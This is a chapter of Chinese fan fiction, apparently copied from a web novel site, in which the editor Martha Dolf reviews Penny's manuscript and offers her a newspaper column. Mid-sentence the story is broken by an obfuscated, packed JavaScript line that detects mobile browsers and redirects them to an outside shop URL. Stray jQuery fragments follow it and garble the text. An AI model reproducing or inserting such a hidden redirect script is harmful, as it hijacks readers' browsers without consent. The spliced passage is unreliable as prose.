佩妮再次推开那间出版社的门。


    大部分的白炽灯已被关闭，只有水池顶部的天花板还亮着一盏，投下不太明亮的光线。右手靠墙的一排打印机只剩零星几台还嗡嗡作响。


    一个身影正站在水池旁边，没有听见佩妮开门的声音，正背对着她专注于手上的事情。


    “嘿。”佩妮走过去，试探性地同那个身影打了一声招呼。


    那身影身形一震，啪，有什么东西一下掉在了地上。


    ——一个清洁刷子。


    那身影转身，灯光照亮一位身材有些矮小的年轻女人。


    她穿一件白色修身衬衫，衬衫下摆束在黑色的职业裙中。黑色的头发往后梳成马尾，刘海下架着一副厚重的黑框眼镜，脸上的表情看起来显然被佩妮吓得不轻。


    女人戴着一副橡胶清洁手套，在佩妮进来之前，她在清洗水池旁边的那台咖啡机。


    转身时，她胸前的工牌从佩妮视线前一晃而过。


    上面写着“编辑：玛莎·道尔夫”。


    照片上的女人露出牙齿，笑容十分璀璨，佩妮抬头，但真人与那照片显然存在一点差距。


    差在那副厚重的黑框眼镜，还有眼镜后面的眉毛上。


    一副相当有特色的眉毛，眉头比眉尾高出一大截，使两簇眉毛看起来总向下撇着，让她弥漫在一种淡淡的哀愁与苦闷中。


    “噢，佩妮，是你，”而现在她正用那副愁苦的表情看着佩妮，“我没有听见你进来的声音。”


    “对不起，玛莎。”佩妮先行一步弯腰从地上捡起那个刷子递给玛莎，“我吓到你了。”


    “噢……也没有，已经到我跟你约定的时间了是吗？”玛莎撇起她的眉毛，接过那柄刷子。


    那副厚重的眼镜滑落到了玛莎的鼻梁上，她想推一下眼镜，但她发现自己还戴着那副清洁手套，她举着刷子茫然地站在原地，思索了好一会儿，才像找到自己的灵魂。


    “事情总是有一点多，我总是想到这个，忘记那个，”玛莎转身，“请稍等我一下。”


    “你一直都工作到这么晚吗？”佩妮忍不住问。


    “还好，为他们找到那些原稿，校对样本，整理文件，等待最后一台打印机结束工作，把它们全关上。”玛莎小姐一边清洗着刷子，一边对佩妮说，她的眉头高高撇起，哀愁笼罩了她，“清洗咖啡机，关掉所有的电源，再结束我一天的工作。”


    “来吧。”玛莎摘下自己的手套，挂在水池边沥干，将她的手在黑色工裙上拍了拍，弄干上面的水珠，带着佩妮来到她的工作位置上。


    她从桌面上立着的文件里抽出了佩妮的那本黑色笔记本。


    佩妮立刻咬住了自己的牙齿，感觉到心脏在胸腔里不受控制地猛烈跳动起来。


    “要出版一本书很简单，你只需要完成一个属于你的故事，然后拿去出版社，放到编辑的面前。如果他不喜欢，就换一个编辑，换一家出版社也行。”塞拉菲娜站在书架后这么对她说。


    圣诞节假期结束后，佩妮再一次来到这间出版社。


    玛莎·道尔夫当时也站在咖啡机旁边，做着同佩妮一样的工作。


    看着那双蹙起的哀愁眉眼，佩妮把她那本黑色笔记本试探性地递给了玛莎。


    她知道这不符合规定，她应该填一份预约单，把她的小说扔进那个像垃圾桶一样的黑桶里。


    她这么对玛莎形容，佩妮确信她看见了一丝隐秘的笑意从玛莎小姐的眼睛里划过，冲淡了她脸上的那抹哀愁，但她立刻又蹙起她的眉，换上了那副愁苦的表情。


    只是她答应佩妮，让她两周之后再来这里找她。


    玛莎拿起了她的那本黑色笔记本，佩妮坐在凳子上，不自觉攒紧了自己的双手。


    “我读完了你的小说，佩妮。“佩妮看着玛莎，她撇起的眉毛松开了那么一下。


    一瞬间，那些回忆向她涌来。


    被困在电视机里的伊索尔德。


    薇拉的苏格兰头巾，普尔佳身上的草药味。


    牵着她的手，想要拥抱她的莉莉。


    在等待玛莎小姐宣判的时间里，这些回忆充斥在佩妮的脑海。它们就像奔流的河水中那些枯枝浮木，彼此之间没有逻辑，也没有意义，但它们就那样乱糟糟地存在，存在在她的大脑里。


    “这本小说里，我感受到了你充沛的情感。”玛莎抿起她的嘴角。打印机吐出最后一张纸，最后一台也停止了工作。室内的环境非常安静，只听得见玛莎的声音还有因她的这句话在血管里加速奔流的血液流动的声音。


    灰与榆打开的窗户外，尖塔似的屋顶，夜色中飞过去的鸟。


    飞过去的鸟——西伯利亚的积雪，冲上云霄的鸟。


    玛莎小姐很轻地叹了一口气。


    “但它还达不到出版的要求。”


    佩妮看着玛莎，玛莎一双哀愁的眉眼注视着佩妮。她的眉头高高撇着，眉尾低垂，这样一副表情里没有一点的高不可攀与盛气凌人，因此佩妮知道她说的每一个字都是真的。


    它还达不到出版的要求。


    佩妮的手搭在玛莎办公桌的边缘，手指触碰在桌面，就像触碰九又四分之三站台那堵粗糙厚重的石墙。


    有雪下在了她的心上。


    但出乎佩妮的预料，它张开翅膀抖了抖积雪，佩妮听见自己冷静的声音。


    “是哪里出了问题呢？”她看着玛莎。


    她既非女巫，也不是山雀。


    但她也想知道问题出在哪里。


    那名男编辑交叠抖动的黑色皮鞋不合时宜地浮现在她的眼前。


    “其实我没有读过什么伟大的书籍，玛莎小姐。”佩妮试探性地说，“我看的书是傲慢与偏见、简·爱、小妇人，剩下就是一些爱情小说。”


    “火与花、冬日烈火、风中的灰烬……那些书您知道吗？”


    佩妮吐出一把锋利的手术刀，她不介意把自己一条一条剖给玛莎看。


    “我是从小镇来伦敦的姑娘，科克沃斯，玛莎小姐你听说过它吗？”


    “我刚从圣凯瑟琳现代中学毕业。就在中学里，我们只学简单的英语写作，其他时候我们学习烹饪，缝纫。六年级我多选了一门打字课，所以才能在伦敦找到一份打字员的工作。”


    “我把一切都想得太简单了吗？”她说。


    但玛莎的眉头却越蹙越高，整个人简直笼罩在了一汪忧伤的湖水里。


    她看着佩妮：“不不，佩妮，问题不出在你说的这些里。”


    佩妮注视着那汪哀伤的湖水。


    “你的小说有显而易见的问题，大多数新人作者都会存在这些问题。”玛莎小姐那双哀愁的眼睛快把佩妮淹没了，“因为这些问题的存在，我认为你的小说暂时还达不到出版的要求。”


    “但那是小说的问题，不是你的问题。”


    “跟你之前一直在读的书没有关系，好吧，也不能说完全没有关系。”玛莎小姐说，“你看见什么总是决定你能写出些什么。”


    “跟你的教育经历也没有任何关系，佩妮。”


    “我们只谈论这本小说。”


    “这本小说里你有情感，这是最动人的。”


    “但只有情感是远远不够的。”


    “先说你的文笔，有些地方描述太过于冗余了，在遣词造句上也不够准确。”玛莎翻开了她的黑色笔记本，她一定认真看完了那本的小说，内页用铅笔圈出了很多地方，有几页是满满的石墨痕迹。


    玛莎诚实地告诉她，还不够。


    一颗心沉甸甸的既酸又涩。


    “最大的问题在结构和情节，佩妮，部分章与章的联系过于松散。有的段落你自己也没有想好要表达什么，对吗？”


    那把疯狂的手术刀被玛莎握住了，玛莎控制住了她的手，带着佩妮在纹理之间游走，挑断错综复杂的经络，显现出事情最本质的骨架。


    “光有情感是不够的，佩妮，”玛莎看着她，“写作不能是情感单方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16560919|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面的宣泄。”


    有温柔的风吹开湖面上盘旋的迷雾，湖水倒映出她最真实的脸庞。


    “玛莎！”有人在这个时候打断了她们，出版社的门被粗暴地推开，生锈的绞索发出吱呀一声响，她们两人同时被吓了一跳，佩妮回过头去。


    进来的人穿着一件驼色大衣，头上戴着一顶褐色的帽子，室外的冷风从他身后灌进来，降低了室内的温度，使佩妮情不自禁打了一个寒战。


    “你竟然还在工作。”来人摘下帽子，用一种很夸张的语气对玛莎说。


    “如你所见，沃特斯。”玛莎蹙起了她的眉。


    “别那么看着我，玛莎，我忘记拿我的车钥匙了，一会儿我要送我的妻子还有孩子去电影院。我的妻子要求总是很多。真羡慕你不需要在家庭里周旋。”那男人靠近了，佩妮嗅到他身上的酒味儿，佩妮盯着他看了一会儿，猛然意识到这是当初拒绝她的那名男编辑。


    男编辑——沃特斯看着她们，在男编辑的视线中，佩妮突然紧张起来，她不安地抖动了一下。


    她不确定男编辑是否对她还有印象。


    但他的视线从佩妮的衣着上快速滑了过去，就像划过冰球场上的冰球，没有半分停留，他看起来像是完全忘记了佩妮。


    他很快找到了他的车钥匙，临去前他转身对玛莎说：“我要你帮我找的那份原稿呢？玛莎，你可不要忘记它，准备好明天放我桌上。”


    他手一挥，径自朝着那扇大开的门徜徉而去。


    他没有关门，室外的冷风持续不断地吹进来。


    佩妮走过去把门关上，重新坐到玛莎的身边。


    “他是谁？”佩妮很小声地问。


    “他是主编。”玛莎叹了一口气，她的眉毛蹙得更哀怨了，“但我确实差点忘记了那份原稿。不过我们先说回正事。”


    玛莎的注意力重新放回到了佩妮的笔记本上。


    “你有一份主职对吗？”玛莎突然问。


    一个从未设想的问题，佩妮一愣。


    “你说你有一份打字员的工作。”


    佩妮迟疑地点了点自己的头。


    “我从编辑的角度坦白告诉你，我认为它目前不够好。写作是自我的狂欢，但出版显然不是。”那汪哀愁的湖水凝望着她。


    “你本也不必承受这些拒绝和否定，生活中的拒绝和否定已经太多了。”


    佩妮先是点点头，但她又摇了摇头。


    彩色玻璃穹顶，还有一杯又一杯的热红酒。


    她深吸一口气：“既然它不够好，那我就再回去改一改。”


    “这有意义吗？”玛莎看着她。


    玛莎哀愁地蹙着她的眉头，佩妮却笑起来：“不知道，但我不想让她停下来。”


    玛莎小姐轻微地松开了她的眉头，哀愁褪去，她直起了身体：“如果它要作为一本独立小说出版，这显然是不可能的，它有显而易见的缺点。”


    看着玛莎的眼睛，佩妮点点头，她伸手想要拿回自己的那本笔记本。


    “但是，”玛莎小姐话锋一转，伸手按住了那本笔记本，“其中有几个情节，如果拎出来作为单独的故事我认为很精彩。”


    “我们出版社除了负责独立的小说的出版外，旗下还负责一些报纸、杂志的出版。”


    “有一份廉价报纸，投放的目标人群地点是一些移民家庭、酒馆。它的主要目的是刊登一些广告，但它上面有一个栏目，专门刊登一些对文学性要求并不高，只要吸引人的小故事。”


    “你愿意重新写你的故事吗？把这些的故事拆解掉，一篇篇向这份报纸投稿吗？”


    “我得坦白告诉你，这份报纸的受众可不是坐在办公楼里喝着咖啡的人群，报纸售价相当低廉，你也不会获得多高的稿费。”


    “你愿意重新开始吗？”


    佩妮觉得自己的呼吸急促了起来。


    “如果你愿意，你得抓紧时间，赶在下一批报纸印刷前。”玛莎对她眨了眨眼睛。